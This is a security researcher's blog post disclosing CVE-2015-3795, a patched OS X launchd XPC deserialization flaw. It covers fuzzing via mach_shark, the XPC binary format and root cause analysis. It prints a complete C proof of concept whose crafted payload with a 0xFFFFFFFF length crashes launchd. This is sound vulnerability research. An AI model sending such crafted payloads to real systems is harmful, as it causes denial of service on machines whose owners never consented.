blog[wuntee] trying to stay relevant

CVE-2015-3795

Background

This finding was reported to Apple June 4th, and fixed on the 10.10.5 security update August 13th.

References:

mach_shark

I have referenced mach_shark a few times in previous posts. One feature of the tool is to produce a small c-stub that will allow you to replay mach messages. As hinted at in previous posts, there is a concept of state when doing MACH based IPC. Although the generated c-stubs from mach_shark do not (yet) perform the full state manipulation to communicate with any arbitrary process, it still gave a starting point that can be used to fuzz. At a minimum, I can send these messages to the kernel or bootstrap / launchd.

Whats the first thing to do at this point? Find the most complex message I can and start a simple fuzzer.

One area that seemed to have a large attack surface was the open command. Specifically I was interested in understanding how running a command like open http://wuntee.sexy without the default browser open would spawn the browser, under the correct user context, and direct it to the URL.

After running the open command through mach_shark and looking over the ~300 different mach IPC requests, one stood out that seemed like a good starting point. A very large, complex XPC message that seemed to contain some objective-c class names.

Chrome XPC Payload

fuzzing and crashing

The c-stub I referenced above is fairly dumb / simple in terms of output, but it construct the correct MACH message and properly looks up the port that the original message was trying to communicate with. An example output is:

kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &bp);
ret = bootstrap_look_up(bp, "com.apple.CoreServices.coreservicesd", &port);
unsigned char payload[] = { ... };
mach_msg_header_t *msg = (mach_msg_header_t *)payload;
msg->msgh_remote_port = port;
msg->msgh_local_port = MACH_PORT_NULL;
msg->msgh_bits = MACH_MSGH_BITS_ZERO;
msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, MACH_MSG_TYPE_COPY_SEND);
mach_msg_return_t msg_ret = mach_msg_send(msg);

With the payload from the open command, I started a simple bit-flipping fuzzer, but sending the message directly to bootstrap / launchd. Being so excited that I had something to run, I started it against my host machine. I went back to analyzing the different MACH payloads, leaving this running in the background. Within a few minutes, my entire machine “rebooted because of a problem.” I thought to myself - no way it could have been that easy! It was…

The details of why this caused my machine to reboot, and how I ended up debugging the crash can be found in the Debugging launchd on OSX 10.10.3 post.

XPC serialization / deserialization

After pulling the fuzzer into a VM and then doing some root cause analysis of the crashes that were obtained, I was able to determine that the crash was happening during an XPC deserialization routine when calling strlen - which seemed kind of strange.

From here I started looking into the XPC message structure. In order to do this, I created a simple service that accepted XPC messages and a simple client that I could create arbitrary messages to send. Form there I used the mach_shark tool to intercept them and started documenting the different payload structures.

What I found out was the base structure of an XPC payload is:

[xpc_message_header][xpc_type_$X_1]...[xpc_type_$X_n]

Where the the header is:

typedef struct __attribute__((packed)) {
  u_int32_t magic;   // "!CPX"
  u_int32_t version;   // "x05\x00\x00\x00"
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
} xpc_message_header;

and each xpc_type_$X is one of:

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
  unsigned char payload[];
} xpc_type_complex;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t len;
  char str_or_data[];
} xpc_type_string_or_data;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int64_t value;  // Can be uint64, int64, uuid, double
} xpc_type_value;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;   // Used for external data type like file descriptors and port rights
} xpc_type_novalue;

For example:

mach message data:
  21 43 50 58 05 00 00 00 00 f0 00 00 48 00 00 00  !CPX........H...
  02 00 00 00 62 6f 6f 6c 5f 76 61 6c 75 65 5f 74  ....bool_value_t
  72 75 65 00 00 20 00 00 01 00 00 00 73 74 72 69  rue.. ......stri
  6e 67 5f 76 61 6c 75 65 00 00 00 00 00 90 00 00  ng_value........
  11 00 00 00 74 68 69 73 20 69 73 20 61 20 73 74  ....this is a st
  72 69 6e 67 00 00 00 00                          ring....

21 43 50 58: Magic "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
48 00 00 00: Size 72
02 00 00 00: 2 Entries
62 6f 6f 6c 5f 76 61 6c 75 65 5f 74 72 75 65 00 00: Key 'bool_value_true' null terminated / padded
00 20 00 00: Type 'boolean'
01 00 00 00: Value 'true'
73 74 72 69 6e 67 5f 76 61 6c 75 65 00 00 00 00: Key 'string_value' null terminated / padded
00 90 00 00: Type 'string'
11 00 00 00: Size 17, including null termination
74 68 69 73 20 69 73 20 61 20 73 74 72 69 6e 67 00 00 00 00: Value 'this is a string' 

Root cause analysis

At the time of analyzing the crash I had no clue why on earth it could be crashing on strlen (although it seems so obvious now that I am writing this). I had a fairly large payload which reproduced the crash 100% of the time, which made root cause analysis difficult. Furthermore, since launchd was crashing, I was unable to dynamically debug / step through the code; I had to use coredumps as explained in a previous post. I initially attempted to reverse engineer libxpc but the library was much more complicated than expected. I then switched gears to write my own XPC message [de]serializer to try and see what part of the payload triggered the crash.

The way I wrote this was to use a pointer to iterate through the start of each dictionary item, pull the values and create a new xpc_dictionary object. When I finished writing the processing of the complex type, I had this:

for(int i=0; i<xpc_header->num_entries; i++){
  ...
  size_t key_len = strlen(ptr);
  ...
  ptr += key_len;
  ...
  switch(ptr->type){
    case XPC_SERIALIZED_TYPE_COMPLEX: {
      xpc_type_complex* dict_v = (xpc_type_complex*)ptr;
      ...         
      // TKTK: Cant do this!! Size is user controlled
      *next_entry = (char*)(&dict_v->num_entries) + dict_v->size;
      break;
    }
    ...
  }
}

Note the comment // TKTK: Cant do this!! Size is user controlled. What I am doing is casting the raw memory to the base XPC message struct and processing based on the type. With the complex type, there is a entry called ‘size’ that should be the full size of that portion of the XPC object (to the next key string). However, this value is something that is controlled by whoever is constructing the message. It should not be trusted for obvious reasons.

When I ran my deserialization routine over the payload that was causing my machine to crash, it turns out that my code was also crashing on a strlen. I thought to myself - this couldn’t be a coincidence. After stepping through my deserialization routine’s crash, it became obvious. Just like my code, the libxpc code is trusting the ‘length’ value of these complex types, increasing a pointer based on that value, and assuming that is where the next key should be. If you have the size set to it will attempt to read a string from the current offset + 0xFFFFFFFF, typically causing a segfault.

Confirming my suspicions

The next step was to create an arbitrary payload to test this theory. Of course I wanted to do it programatically, so I wrote a library that would take a set of custom xpc_objects and serialize them to the raw XPC packet. In order to be able to control all aspects of each XPC data object I had to recreate each custom type. I then created a minimum payload that should trigger the crash.

Since this was being sent to launchd I needed a routine that would actually attempt to deserialize my XPC object. Based on some previous research I did with launchctl I knew that there was a basic XPC structure that needed to be sent, thus the ‘handle,’ ‘subsystem,’ and ‘routine’ keys. The code I used to do this with the complex string type was:

xpc_serialization_value* vals[4] = {0,0,0,0};
vals[0] = create_xpc_serialization_uint64("handle", 1);
vals[1] = create_xpc_serialization_uint64("subsystem", 1);
vals[2] = create_xpc_serialization_string("a", "a");
((xpc_string_value*)vals[2]->value_pointer)->len = -1;
vals[3] = create_xpc_serialization_uint64("routine", 1);
xpc_serialized_object* obj = serialize_xpc_object(vals, 4);

// Print raw bytes of xpc_serialized_object
// Output => {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

The code I used to trigger the crash:

#include <xpc/xpc.h>
void send_payload(void * xpc_payload, unsigned int xpc_payload_size){
        unsigned int size = sizeof(mach_msg_header_t) + xpc_payload_size;
        unsigned char* payload = calloc(size, sizeof(char));

        memcpy(payload+sizeof(mach_msg_header_t), xpc_payload, xpc_payload_size);

        mach_port_t port;
        kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &port);
        mach_msg_header_t *msg = (mach_msg_header_t *)payload;
        msg->msgh_id = 0x10000000;
        msg->msgh_remote_port = port;
        msg->msgh_local_port = MACH_PORT_NULL;
        msg->msgh_bits = MACH_MSGH_BITS_ZERO;
        msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

        mach_msg_return_t msg_ret;
        msg->msgh_size = size;
        msg_ret = mach_msg_send(msg);
}

int main(){
        unsigned char payload[] = {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        send_payload(payload, sizeof(payload));

        return(0);
}%

Dissecting the payload, we can see:

21 43 50 58: Macing "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
5c 00 00 00: Size 0x5c
04 00 00 00: 4 entries
68 61 6e 64 6c 65 00 00: Key 'handle'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
73 75 62 73 79 73 74 65 6d 00 00 00: Key 'subsystem'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
61 00 00 00: Key 'a'
00 90 00 00: Type 'string' 
ff ff ff ff: Size 0xFFFFFFFF    ** TRIGGER CRASH **
61 00 00 00: Value 'a'
72 6f 75 74 69 6e 65 00: Key 'routine'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value '1'

Apple has fixed this specific instance of the bug, but before I upgraded to 10.11 I noticed that the class of bug still existed in the newest version of 10.10. As of 10.11, it seems that Apple has changed from using the ‘mach_msg_send’ function from userland to using another function call - based on the lack of the mach_msg_send function call in libxpc.dylib. I have yet to try any of the crashes on OSX 10.11+.

Impact / exploitability

It seems that OSX IPC is moving towards all applications using XPC. Although I did not see anywhere in the kernel that processes XPC (I did not look too hard), this bug was found in launchd which is PID1 on OSX (similar to init on Linux). Furthermore, there are dozens of IPC services running as root as well as unprivileged users that all use XPC as a communication mechanism. In turn, the impact of this bug, if it were to be exploitable would be quite critical.

This bug is an arbitrary read forward, and from the basic proof of concept does not look to be extremely useful (granted, my exploitation skills are minimal). Some theories I had:

  • It may be possible to use this as a memory leak, if you were able to construct the heap in a way that the offset looked like a key to an XPC message, but would likely still crash as it attempts to interpret the rest of the serialized data.
  • Some of the more complex MACH messages perform additional logic, such as transfer rights of ports and ownership of file descriptors. It would be possible to trigger this from a different code path that could allow for more exploitation potential. (Long shot)